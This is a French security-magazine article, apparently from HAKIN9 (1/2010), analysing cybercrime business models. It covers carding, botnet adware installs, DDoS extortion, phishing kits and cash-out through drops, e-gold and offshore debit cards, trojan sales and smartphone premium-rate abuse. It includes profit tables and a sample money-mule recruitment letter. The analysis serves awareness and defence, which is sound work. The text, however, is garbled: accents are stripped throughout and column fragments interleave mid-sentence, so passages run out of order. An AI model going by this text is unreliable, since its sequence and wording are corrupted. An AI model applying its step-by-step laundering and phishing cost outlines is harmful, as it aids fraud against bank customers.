Des informations compltes sur des milliers de cartes de crdit parfois comprenant le numro de scurit sociale du titulaire sont voles quotidiennement (Figure 3). Dans la plupart des rseaux, un CC complet (CC full) qui contient toutes les informations sur la carte, non seulement son numro, mais aussi la date dexpiration et le numro de scurit, cote entre 2 et 5 dollars, pays via e-gold. Bien sr, rien ne garantit que ce numro fonctionnera En fait, la plupart de carders qui jai parl estimaient que 80 % de numros vendus sur Internet ntaient pas bons. Par consquent, les rseaux de confiance comprenant les vendeurs et les acheteurs jouent un rle important. Ils les achtent par srie de 10 plus de 100. A ce moment, la transaction rappelle la vente de drogue : le vendeur envoie un chantillon lacheteur (une carte de crdit) qui lessaie. Si les chantillons semblent bons, il achte le reste. La manire la plus sre de tester une carte de crdit consiste dbiter son compte de quelques euros bien quil existe certains services de vrification Listing 1. Conversation sur IRC
<G-Dogg> Mec, les gens sont vraiment trop btes pour tomber dans ces scams <high5> non, cest pas vrai <high5> coute <high5> si tu en as jamais entendu parler, taurais fait la MEME chose <G-Dogg> peut-tre <high5> jsuis l depuis 98, et crois-moi. Mme les professeurs tombent dans le pige des sites scamms <high5> je suis entr dans un des plus grands domaines .edu. <high5> avec un mot de pass dun site scamm <high5> tu peux le croire ?

En ralit, il ne sagit que dun exemple. Les bnfices peuvent tre augments grce un roulement plus important. Dans ce

76 HAKIN9 1/2010

CYBERCRIMINALIT
pour que leurs publicits soient affiches (fentres pop-up, fentres intgres, etc...), Lentreprise de logiciels espions/ publicitaires paie ses partenaires/ socits affilies chaque installation d'un programme de logiciels espions/ publicitaires sur l'ordinateur dun utilisateur final. type de publications. Prenons lexemple du programme Adware/BetterInternet de Fortinet. Le rapport dactivits de fvrier 2006 prsente les chiffres suivants (Figure 8) : Il y a un point frappant dans les chiffres : des pics extrmement aigus du volume dinstallation des composants des logiciels publicitaires apparaissent lundi et jeudi. Ctait galement le cas en janvier. Une telle cohrence et rgularit des pics de lactivit, tant dans le volume et la frquence indique quun propritaire de botnet a mis en place quelque part une procdure dinstallation massive des composants des logiciels publicitaires tous les lundis et jeudis tous les mois. Entre temps, les composants publicitaires sont probablement effacs de lordinateur infect et la prochaine installation aura le mme effet. Une question se pose : est-ce que les entreprises de logiciels publicitaires avec un programme de partenariat sont rellement abuses par les herders de botnet ? Ou, est-ce quils autorisent, de manire passive, cette activit car la fin, les seules victimes sont les utilisateurs alors que tous les autres acteurs appartenant au cercle tirent des bnfices de cette situation ? (Figure 9).

Figure 8. Statistiques de BetterInternet Cots : 20 ensembles dinformations valides sur les cartes de crdit : 200$ , 20 cartes plastiques : 60$ x 20 = 1200$ , Appareil pour graver les cartes : 400$ , Bnfices : considrant que 40% de cartes fausses sont refuses et estimant quune limite moyenne autorise de dpenses slve 1000 dollars par carte (cartes Visa classique ont une limite de 500$ 3,500$) : 12,000$ , Cot total : 1,800$ , Bnfices totaux : 12,000$ , Gain : 10,200$ , Index de productivit (bnfices/cots) : 6.67.

Installation des logiciels espions et les logiciels publicitaires


Les pirates contrlant des botnets disposent galement d'armes de zombies (par exemple, des machines esclaves infectes) pour infecter des ordinateurs de logiciels espions. Afin d'analyser en dtails ce modle conomique, regardons de prs celui des entreprises publicitaires les deux sont troitement lis. Le rle cl des entreprises de logiciels espions/publicitaires qui sappellent eux-mmes officiellement entreprises de marketing comportementale, consiste fournir un point central de rencontre trois types de destinataires : annonceurs, partenaires (souvent appels socits affilies) et utilisateurs. Ce modle conomique se dcompose ainsi : Les annonceurs payent l'entreprise de logiciels espions/publicitaires

Ce dernier point est gnralement effectu via des offres groupes de programmes de logiciels espions/ publicitaires avec des logiciels gratuits. Du point de vue moral, ce concept est tout fait acceptable. Les utilisateurs choisissent dinstaller un logiciel gratuit mais avec linconvnient de voir safficher les annonces de temps en temps au lieu dacqurir un logiciel dpourvu d'annonces intempestives (comme quand nous regardons les programmes TV sur les chanes prives). Toutefois, llment partenaire s'avre parfois tre une partie pourrie du fruit. La communaut botnet sait que la source principale des bnfices pour les herders de botnet vient aujourdhui des installations de logiciels espions/publicitaires quils excutent sur des ensembles d'ordinateurs infects, ce qui leur apporte de l'argent de la part des entreprises publicitaires. La plupart de ces dernires, il est vrai, annoncent clairement sur leurs sites Web la ncessit dtre honnte et thique afin de participer leurs programmes de partenariat. titre dexemple, BetterInternet propose le site suivant avec les recommandations pour les partenaires : http://www.bestoffersnetworks.c om/partners/guidelines.php. Une analyse rapide des statistiques lies l'installation des logiciels espions/ publicitaires rvle toutefois que lhonntet est extrmement douteuse derrire ce

Nous laissons au lecteur le soin de rpondre cette question. En ce qui concerne le modle conomique dinstallation des logiciels publicitaires, en voici la composition. Les cots impliqus se limitent principalement la construction dun botnet : accs root un ordinateur Linux pour hberger un canal de

Figure 9. Utiliser les botnets pour installer des logiciels espions


1/2010 HAKIN9 77

TECHNIQUE
commande et de contrle (en gnral, serveur IRC) : 15$ , une carte de crdit vole pour enregistrer un nom de domaine du canal de commande et de contrle : 2$ , source du bot : 2$ , la mise de lensemble dans un fichier excutable, indtectable par la majorit des vendeurs AV pendant quelques jours : 100$ , une nouvelle liste de spams (par exemple, une liste des adresses de messagerie lectronique actives) : 8$ , quelques php-mailers pour spammer environ 100 000 de botes de messageries lectroniques en 6 heures : 30$ . dernires tapes ci-dessus (paquetage, trouver une liste de spam, spamming).

Modle conomique dextorsion en ligne


Ce modle conomique pourrait sappeler cyber-racket car il ressemble beaucoup au racket du monde rel sur de nombreux aspects. Voil un scnario typique dextorsion en ligne : une compagnie qui fait de la vente sur Internet, disons, vente d'enregistrements de musique en ligne, reoit un message lectronique menaant : elle doit payer 10.000 dollars un drop spcifi ou son site Internet sera estropi en une semaine. La compagnie ignore le mail et quelques jours plus tard, son serveur se plante, ce qui entrane des pertes dargent considrables. Ensuite, arrive un deuxime message, cette fois-ci demandant 40.000 dollars. En cas de nonpaiement, la compagnie risque encore des pertes. En revanche, contre paiement, une protection lui est gnreusement offerte pendant un an. Aprs avoir fait le calcul, la compagnie paie. A la fin, la ranon apparat dans la colonne frais de scurit dans les rapports financiers de l'entreprise. Mme si la plupart des victimes ne veulent pas rendre linformation sur lextorsion publique, ce type de scnario apparat plus frquemment que ce qui est signal. Daprs le sondage men par Carnegie Mellon University researchers, rien que 17 % des PME et PMI ont avou avoir t attaqus et il est gnralement admis que deux tiers des essais dextorsion en ligne ne sont pas rapports.

La cl du succs pour un modle conomique de lextorsion en ligne rside dans le rapport des cots : tant que les montants extorqus sont clairement infrieurs aux pertes dues aux pannes et aux frais de la mise en place dune solution de protection efficace, ce modle n'a aucune raison de ne pas fonctionner. A titre dexemple, prenons le fameux cas de BetCris.com, une entreprise cible (un site Web de jeux et de paris, situ Costa Rica) qui a reconnu avoir perdu environ 100,000$ par jour lors de panne. Ce montant est beaucoup plus important que les 20,000$ demands par les cybercriminels pour cesser leur attaque. Les cyber-criminels se servent dune technique connue sous le nom dattaque par saturation (en anglais, Distributed Denial of Service, DDoS) pour attaquer et estropier le site Web de la victime. Ce type dattaque est gnralement lanc depuis un botnet. Le principe en est simple et extrmement efficace : via le canal de commande et de contrle du botnet, chaque ordinateur Zombie (esclaves infects qui composent le botnet) est charg dinonder la cible, en gnral avec un trafic lgal en apparence (simple exemple : faire une requte dun site Web sur le serveur cible). A condition que le nombre d'ordinateurs Zombie participant lattaque soit suffisant, le trafic total consomme toutes les ressources du rseau cibl, en commenant par sa bande passante,

En supposant que l'entreprise publicitaire paye 0.40$ linstallation, que le botnet est compos de 5000 ordinateurs Zombies et que les deux oprations d'installation sur tous les ordinateurs Zombie sont effectues une fois par semaine, tout cela donne le rsultat suivant pour le premier mois dexploitation : Cot total : 157$ (une fois), Bnfices totaux : 0.4 x 5000 x 8 = 16,000$ (mensuel), Gain : 15,843$ (premier mois), Index de productivit (Bnfices/Cots) : 102 (premier mois).

Il faut remarquer deux points ici : Le Botnet herding implique certaines comptences : capacit dinstaller un serveur IRC, de modifier lgrement et de compiler un bot... Ces points impressionnent peu l'utilisateur expriment mais aux yeux des kids, les herders de botnet, ils constituent vraiment une caste suprieure, Ce modle conomique assure un salaire mensuel et peu de frais de maintenance. Essentiellement, les frais de maintenance servent maintenir le botnet et le faire fonctionner un montant fixe.

Puisque les ordinateurs Zombies sont parfois dsinfects ou rinstalls, il faut alors rpter de temps en temps les trois
78 HAKIN9 1/2010

Figure 10. Php Mailer

CYBERCRIMINALIT
Un botnet typique comprend entre 5,000 et 10,000 ordinateurs Zombies et est capable par consquent de gnrer une attaque DDoS en consommant jusqu 1 Go de la bande passante. Ce chiffre est suffisant pour mettre en panne une grande partie des entreprises mais il narrive pas remplir le canal dun centre de donnes solide et bien prpar. Cependant, il existait des botnets comprenant jusqu un million dordinateurs Zombies, dmantels dans le pass et plusieurs botnets plus petits sont srement connects (par exemple, ils appartiennent aux mmes herders qui peuvent alors rassembler leurs forces dans une seule attaque DdoS), En raison de la nature des attaques DDoS, la protection constitue un dfi complexe et exigeant. Bnfices totaux : 50,000$ par an, avec 5 entreprises rackettes avec succs, dont les ranons s'lvent environ 10,000$ par entreprise, Gain : 48,500$ (par an), Index de productivit (Bnfices/Cots) : 32,3 (par an), la qualit de la mailing liste (pourcentage de vritablquel est le pourcentage de vraies adresses de messagerie lectronique dans la liste), quel point lattaque est focalise. A titre dexemple, une arnaque qui a pour cible une banque brsilienne a plus de chances de succs en envoyant les mails des adresses .br qu des adresses prises au hasard, lducation du public cibl. Comme nous lavons vu prcdemment, les gens sont plus faciles arnaquer quand ils ignorent tout du phishing. Cest pour cette raison quen 2005 et 2006, nous observons une expansion rgulire du phishing dans de nouveaux pays. Les utilisateurs de ces pays qui ne connaissent pas encore ce type dattaque sont aux yeux des arnaqueurs une nouvelle cible particulirement intressante, la qualit des serveurs qui envoient les messages lectroniques. Les phishers achtent en gnral ce quils appellent : direct to inbox, ce qui siginifie que les messages lectroniques ne se retrouvent pas dans le junk email ou le spam, mais atterrissent directement dans la bote de rception des utilisateurs. Un phpmailer est la simple interface php du serveur de messagerie lectronique dun serveur (pirat) ; c'est la manire la plus simple d'envoyer des messages indsirables. Tout le monde est capable de le faire.

Modle conomique de Phishing


Cest probablement lactivit qui est le plus couvert par la presse. Le phishing atteint des sommes vertigineuses sur le dos d'utilisateurs inexpriments ou nafs (Listing 1). Cette conversation montre que les gens tombent dans le pige, non pas par stupidit, mais par manque dinformation sur le sujet, ainsi que sur la scurit informatique. Contrairement ce que certaines personnes suggrent, nous navons pas besoin de patches pour la stupidit mais des programmes ducatifs pour les utilisateurs.

Bien que les produits prts tre utiliss existent, la seule manire de protger votre bande passante contre la saturation, consiste augmenter votre rseau de communication de telle sorte que le trafic gnr par les ordinateurs Zombies soit absorb. Certaines entreprises proposent des centres de donnes avec une large bande passante, qui, combine aux diffrentes astuces contre DDoS, absorbe efficacement le trafic gnr par des attaques DDoS de taille moyenne, le trafic lgal tant alors redirig vers les serveurs clients, et donc maintenu durant lattaque. Cette stratgie, connue sous le nom de scrubbing et le service cotent environ 50,000$ par an aux PME. Sachant que les ventes en ligne sont en pleine expansion et gnrent des milliards de dollars de profits, et offrent une large gamme des cibles potentielles (boutique de musique en ligne, sites Web de paris, services en ligne toutes les socits qui peuvent perdre de l'argent en ligne), nous pouvons supposer que les extorqueurs sur le Web ont encore de beaux jours devant eux. En supposant quun cyber-criminel souhaite rester relativement loign des radars de la justice, l'exemple suivant est envisageable : Cot total : construction dun ensemble de 5 10 botnets dune taille moyenne : 1,500$ ,

tape de Phishing
Les cots impliqus dans une opration de phishing ( part la partie dencaissement) : le phishing kit incluant une lettre et une page Web : 5$ , une nouvelle liste dadresses de messageries lectronique : 8$ , quelque php-mailers pour spammer environ 100 000 botes de messageries lectroniques en 6 heures : 30$ , un site pirat pour abriter une page Web pour quelques jours : 10$ , numro da carte de crdit pour enregistrer un nom de domaine : 10$ .

Le cot total pour une opration de phishing slve : 63$. Les comptences ncessaires pour ce type dopration sont vraiment basiques. Le succs dpend de plusieurs facteurs, dont :

D'un autre ct, le concept directement la bote de rception est plus difficile saisir et a donn lieu des situations amusantes pendant notre enqute (Figure 11). En fait, lorsque les kids disent directement la bote de rception, ils pensent aux messages lectroniques envoys de phpmailer qui finissent leur

Figure 11. Compte hameonn


1/2010 HAKIN9 79

TECHNIQUE
route dans le dossier BOITE DE RECEPTION des utilisateurs et non SPAM (dans les adresses@yahoo.fr) ou BULK (dans les adresses@gmail.com). Mme si la liste de publipostage cible ne contient pas ncessairement ce type dadresses, une majorit semble penser que si cela fonctionne avec @yahoo.com, cela fonctionnera avec tout. Chose intressante, ils semblent penser que envoyer directement ne dpend que de lhbergeur de mailer (par exemple, est-ce quil se trouve sur une liste noire de spam, est-ce quil cre des en-ttes et des enveloppes SMTP correctes, est-ce qu'il est conforme la norme Sender Policy Framework, etc...) et non du contenu des lettres scam. Une fois quils ont modifi ces caractristiques, la plupart de phishers qui jai parl ont signal recevoir environ 20 comptes par opration impliquant lenvoi de 100,000 messages lectroniques de phishing. Les ventes sont, bien videmment, extrmement variables et imprvisibles mais il nest pas rare dentendre ou de voir les phishers annonaient des ventes de 100K$ (Figure 12). Peu importe cependant le montant des ventes des comptes vols, ce nest pas de largent liquide. Il sagit dargent virtuel. Cest un numro sur une interface de banque sur Internet. Do la question suivante : comment transformer largent virtuel en argent liquide ? (Sans parler philosophie). Cest la stratgie que choisissent la plupart des phishers car la traabilit des transactions bancaires et des quantits de sommes impliques comportent davantage de risques et de complications ultrieures quune simple fraude la carte. Le compte prsent sur la Figure 12 cidessus a t ngoci sur la base de 400$ , payable immdiatement par e-gold. En gnral, les comptes dont le solde slve plus de 100K$ sont ngocis entre 100$ et 500$ e-gold. Eu gard lexemple, nous pouvons supposer que pour 20 comptes quun phisher typique a obtenus par les oprations de phishing dcrites ltape 1 ci-dessus, il peut les vendre de 200$ 2,000$. En prenant en compte les cots des oprations de phishing ($63), nous arrivons au modle suivant : Cot total : 63$ , Bnfices totaux :200$ - 2,000$ , Gain : 137$ - 1,937$ , Index de productivit (Bnfices/Cots) : 3.17 31.7. besoin en thorie de leur nom et adresse. En pratique, un phisher prudent utilise plusieurs couches de drops avant de recevoir l'argent (ou ce qui en reste). Il est galement possible de demander un paiement en e-gold, mais les drops semblent tre rticents le faire : les informations voles sur les cartes de crdit sont utilises pour acheter des e-gold, rpartis de prfrence entre plusieurs comptes afin de rduire la visibilit de chaque transaction, e-gold est utilis pour charger les cartes de dbit (typiquement Cirrus ou Maestro) tablies par des entreprises extra-territoriales qui exigent uniquement une adresse valide pour y envoyer la carte. Cette adresse peut tre celle dune bote postale ou dun drop.

Largent liquide est alors retir aux guichets automatiques avec les cartes de dbit jusqu lpuisement du solde limite journalier de la carte. Si nous supposons que le solde total des comptes vols slve 100,000$ : Cots : opration de Phishing : 63$ , frais de transaction de e-gold : 4 % de 100,000$= 4,000$ , commande de 100 cartes de dbit : 20$ x 100 = 2,000$ , frais mensuels de toutes les cartes de dbit : 3$x 100 = 300$ , frais de chargement de cartes : 3,5 % de 100,000$ = 3,500$ , Cot total : 9,863$ , Bnfices totaux : 100,000$ , Gain : 90,137$ , Index de productivit (Bnfices/Cots) : 10.

Etape dencaissement
Il existe trois stratgies principales pour lesquelles un phisher succs peut opter afin de tirer de largent avec les logins bancaires vols en-ligne : Vendre les informations sur les logins vols.

Comme vous le constatez, la productivit n'est pas leve mais elle gnre toujours davantage que les kids du niveau initial et cette tape est moins risque que s'amuser avec les drops pour transformer l'argent virtuel en argent rel. Encaisser de largent par le rseau de drops. Cette solution rapporte incontestablement davantage mais elle comporte plus de risques aussi il sagit de trouver un drop qui faire confiance (reportez-vous au chapitre drops dans la partie Profiles), ce qui est loin dtre une tche facile : le drop est cens ne pas vous trahir s'il est dmasqu... En effet, les drops qui renvoient de largent aux phishers ont

Un mot sur la mafia

Figure 12. Utilisation de mobiles surtaxs


80 HAKIN9 1/2010

Les canaux de phishing sur IRC sont ainsi : un march o certains vendent des informations financires voles et d'autres les achtent. Ces derniers peuvent tre des individus isols souhaitant mettre en place soit la stratgie b) soit c), prsentes ci-dessus, sans devoir passer par la mise en place dune opration de phishing. Ou alors, il peut sagir d'organisations criminelles

CYBERCRIMINALIT
qui disposent de leurs propres drops locaux sous contrle pour encaisser de largent. Si nous supposons que le prix dachat slve 500$ pour un compte reprsentant le solde de 200,000$, cela produira lindex de productivit exceptionnel de 400. Par comparaison avec le trafic de drogue : l o poussent les coquelicots, dans le fameux Triangle dOr, 10 kilos dopium cotent environ 1000$. Avec cette quantit, un bon chimiste obtient jusqu' environ 850 grammes dhrone pure. Sur le march, chaque dose de 0,085 grammes se vend 100$, ce qui fait qu'un investissement de 1000$ rapporte 1 000 000$. Cest--dire que le retour sur investissement est de 1000 %. Mais ce calcul ne prend pas en compte plusieurs cots associs, tels que la transformation chimique du produit, le transport, le stockage. Ce rsultat est divis au moins par deux en raison des cots susmentionnes et le retour sur investissement tombe 400 % environ. Vu que le retour est trs lev dans le phishing, mais avec un niveau de risque infrieur celui des affaires lies la drogue, il est logique de penser que les organisations criminelles traditionnelles soient trs intresses par une telle entreprise. son programme de cheval de Troie aux entreprises sises en Isral qui l'utiliseraient des fins d'espionnage industriel en l'installant dans les rseaux de leurs concurrents. Les moyens utiliss pour mettre en place le cheval de Troie taient divers et varis et parfois trs inventifs, allant de simples piges dans les messages lectroniques jusqu lenvoi massif dun CD promotionnel infect avec le programme malveillant. que MyFip, existent sur le march depuis plus dun an, durant notre enqute, nous navons pas trouv de cyber-criminels annonant ouvertement avoir vol l'IP de lentreprise X probablement parce que les clients ne se trouvent pas sur ces canaux de commerce qui constituent un monde compltement diffrent de celui des hackers actifs. Mais cela voluera, tt ou tard, vu quengager un hacker implique des cots pouvant atteindre des milliers de dollars (en fonction de sa mission), alors quun kid qui infecte une compagnie avec un cheval de Troie, en utilisant tout simplement un ver de rseau, serait prt tout vendre au premier acheteur pour 500.

Vendre les outils (chevaux de Troie et vers)


Cest une activit habituellement rserve aux coders (reportez-vous aux profiles ci-dessus). Il ny a pas de cot de production, juste un investissement de temps pour fabriquer le produit personnalis et indtectable pour les clients. Un cheval de Troie indtectable, personnalis, pourvu des rootkits cote jusqu 800$ et 20$ environ par mois pour les mises jour qui permettent au logiciel de rester indtectable par les programmes antivirus les plus courants. Le service spar rendre mon cheval de Troie indtectable est galement propos un prix moindre (de 80$ 150$). Cette technique consiste ritrer le processus d'empaquetage et de modification du code binaire jusqu ce quil devienne indtectable aux services antivirus en-ligne. Si un jour une version amusante du jeu Qui veut gagner des millions tait organise, ce genre de question surviendrait trs certainement : Avec quel avis de non-responsabilit, les coders impliqus dans les entreprises de chevaux de Troie et de vers, essaientils systmatiquement dassurer leurs arrires ? Nous ne pouvons pas tre tenus responsables des actions entreprises par nos clients, Nous nautorisons pas l'utilisation de nos logiciels des fins de malveillance, Produit seulement usage ducatif, Tous les points ensemble.

Le nouveau commerce : labus de tlphones portables


Lutilisation des smartphones, la rencontre dangereuse des botnet et des dialers est devenue possible. Les smartphones sont en fait des ordinateurs avec des fonctions tlphoniques, ce qui offre des possibilits intressantes aux pirates, comme des appels surtaxs ou labus du rseau ditinrance. Du point de vue technique, des vers MMS, tels que Commwarrior, ont prouv leur capacit de se rpandre dangereusement. Daprs le sondage men par Fortinet en 2005, 5% de tous les MMS sur les rseaux des oprateurs mobiles taient infects par une variante de Commwarrior. Et cette tendance ne va que gagner en force, sachant que le nombre de smartphones ne cesse d'augmenter. En effet, tt ou tard, tous les portables seront des smartphones, ouvrant ainsi une porte aux rapides dclenchements des vers sur les mobiles ; comme les vers sur les ordinateurs. Et bien videmment, ce nest quune question de temps avant que quelquun installe un bot dans une variante de Commwarrior, Par consquent, les tlphones infects deviendront des Zombies. Le modle conomique de la cybercriminalit bas sur les abus des tlphones mobiles fonctionnera alors sur le schma acheteur / vendeur, o le vendeur fait le sale boulot et ensuite, propose ses services un acheteur qui fait ainsi des bnfices plus grands. Le schma de cette arnaque peut tre le
1/2010 HAKIN9 81

Modle conomique de lespionnage industriel


Comme nous lavons mentionn plus haut, les socits sujettes de lextorsion en ligne prfrent rester discrtes sur le sujet. Ce nest pas une surprise que cette stratgie sapplique aussi aux socits victimes dattaques ayant pour but de voler de linformation corporative, de la proprit intellectuelle ou nimporte quelle autre donne susceptibles d'tre vendues aux entreprises concurrentes. Plusieurs cas ont fait surface et parmi eux, la fameuse histoire du cheval de Troie isralien : un ingnieur de logiciels bas Londres a cr un programme de cheval de Troie conu spcialement pour exfiltrer des donnes critiques dans les ordinateurs infects par ce programme. Il a mont une vritable affaire en vendant

Vendre de la proprit intellectuelle vole


Ce modle fonctionne dhabitude sur une base contractuelle. Bien que les vers, tels

TECHNIQUE
suivant : Un herder de botnet contrle un botnet qui comprend 5000 zombies sur les tlphones infects. Il fait une annonce de son botnet sur un canal IRC, le propritaire dune socit extra-territoriale qui vend des sonneries pour les tlphones portables le contacte. Il lui achte pour 500$ e-gold le tlchargement de 10 sonneries par chaque bot. A 2$ la sonnerie (paye via lappel/le texto sur un numro surtax), cette opration gnre presque instantanment un revenu de 5 000x10x2 = 100 000$ pour le vendeur de sonneries, c'est--dire un bnfice net de 99,500$ (correspondant un index de productivit de 200) (Figure 13). Une telle opration est non seulement trs lucrative, mais elle comporte peu de risques. Les utilisateurs victimes se plaignent au sein de leur oprateur mobile la fin du mois, lorsquils voient leur facture. Mais loprateur refusera probablement toute responsabilit sans procder une investigation. Dans le meilleur des cas, mme s'il est prouv que le tlphone mobile a t infect par un bot, cela n'innocenterait pas le client qui aurait pu faire lappel lui-mme. En plus de a, limpact est encore moins srieux sachant que probablement les plaintes seront dposes auprs de diffrents oprateurs dans diffrents pays.
Une lettre de recrutement-type de drop : Madame, Monsieur. Nous avons le plaisir de vous offrir le poste de Manager au sein de notre socit. Grce au travail avec notre socit, vous pouvez gagner de 1000 euros 2400 euros par jour. Afin dobtenir ce poste dans notre socit, vous devez imprativement disposer dun compte en banque ou Paypal. Notre socit vous propose un travail lgal et trs bien pay. Principes du travail : Largent de nos clients sera dpos sur votre compte en banque ou votre compte Paypal. Vous devez retirer de largent et envoyer 90 % du montant par intermdiaire de Western Union ou e-gold. Notre socit rglera les frais de transport et denvoi de largent via Western Union. Vous gagnez 10 % de largent non dpens sur les commissions. Voici les avantages du travail avec notre socit : Vous pouvez gagner jusqu 7000 euros par semaine (votre salaire sera augment par la suite). Vous pouvez signer un contrat de travail avec notre socit pour 3 ans. Vous pouvez travailler seulement 3 heures par jour (du lundi au vendredi). Une opportunit de monter les chelons de la carrire jusquau poste du Manager ou du Chef de dpartement (avec laugmentation de votre salaire). En travaillant avec notre socit, vous pouvez bnficier des vacances gratuites pour votre famille pour un montant n'excdant pas 2500 euros. Notre socit ne vous demande pas dtre expriment ou diplm.

Annexe

En revanche, nous ne pouvons pas vous recruter si : Vous avez des antcdents judiciaires. Vous ntes pas majeur (18 ans). Pour tre recrut sur le poste de manager dans notre socit, nous vous demandons de remplir le formulaire denregistrement sur le site de notre socit : (http:// wwwanypayfinance.net ). Une fois le formulaire rempli, notre oprateur prendra contact avec vous par tlphone ou adresse de messagerie lectronique en 24 heures suivant lenvoi du formulaire.

Dpchez-vous. Le nombre de postes dans notre socit est limit.

Conclusion

Nous avons vu quel point les diffrents modles conomiques des cybercriminels peuvent tre lucratifs, se plaant parfois au niveau gal ou suprieur aux entreprises lies la drogue, tout en impliquant un risque vraiment minime. Dautant plus que ces arnaques sont relativement faciles monter et demandent trs peu de comptences, un ordinateur et lutilisation dun php-mailer. Aujourdhui, les modles et les scnarios que nous avons voqus soulvent de nombreuses questions en matire de prvention, de protection et de renforcement de lgislation. En effet, une analyse approfondie de ces enjeux constitue elle-seule le sujet d'un nouveau dossier, Sans aucun doute, le plus gros problme et le point principal creuser dans le combat contre ces crimes est le manque de coordination
82 HAKIN9 1/2010

et l'absence de lois internationales. Il est vrai que dans de nombreux modles conomiques que nous avons analyss, les drops jouent un rle crucial et ils se trouvent en gnral sur le devant de la scne, parfois sans prendre de prcautions particulires et pourtant ne se sentant pas particulirement effrays. De plus, suivre des cyber-criminels semblent tre techniquement possible, mais soulve un problme moral. Infiltrer les rseaux des pirates voudrait dire que pendant une certaine priode de temps des agents de police doivent se compromettre avec les criminels et leur fournir, mme temporairement, des informations et outils, grce auxquels ces derniers pourront faire encore plus de dgts ce qui est discutable d'un point de vue thique. Au niveau de lutilisateur, nous avons voqu comment les lettres de phishing pigeaient tout le monde et en particulier, ceux qui ignorent tout des cyber-scams. Une piste explorer dans le domaine

dducation des utilisateurs consisterait proposer, voire imposer, par les banques leurs clients, une mini formation lie au scam (en-ligne de prfrence) avant dactiver les services bancaires en ligne pour leur comptes. En fait, dans le cyber monde qui volue une vitesse fulgurante, imprvisible depuis les annes 80, et dans une zone illimite, les combattants de la cyber-criminalit doivent explorer toutes les pistes et possibilits et surtout, ils doivent tre plus ingnieux et cratifs que les pirates. A dfaut, ces derniers risquent de toujours mener le jeu. Guillaume Lovet

Depuis mars 2004, Guillaume Lovet est responsable de lquipe Threat Response pour la rgion EMEA chez Fortinet. Impliqu dans des activits de recherche dans le domaine de lanti-virus, membre de lAVIEN (Anti-virus Information Exchange Network) En tant que dveloppeur C++, il a travaill pour la socit suisse Visiowave. Il fut en charge de raliser une tude sur la scurit et les donnes cryptographiques chez TPS. Guillaume est titulaire dun Master's Degree en Electrical and Computer Engineering de luniversit Georgia Tech aux Etats-Unis.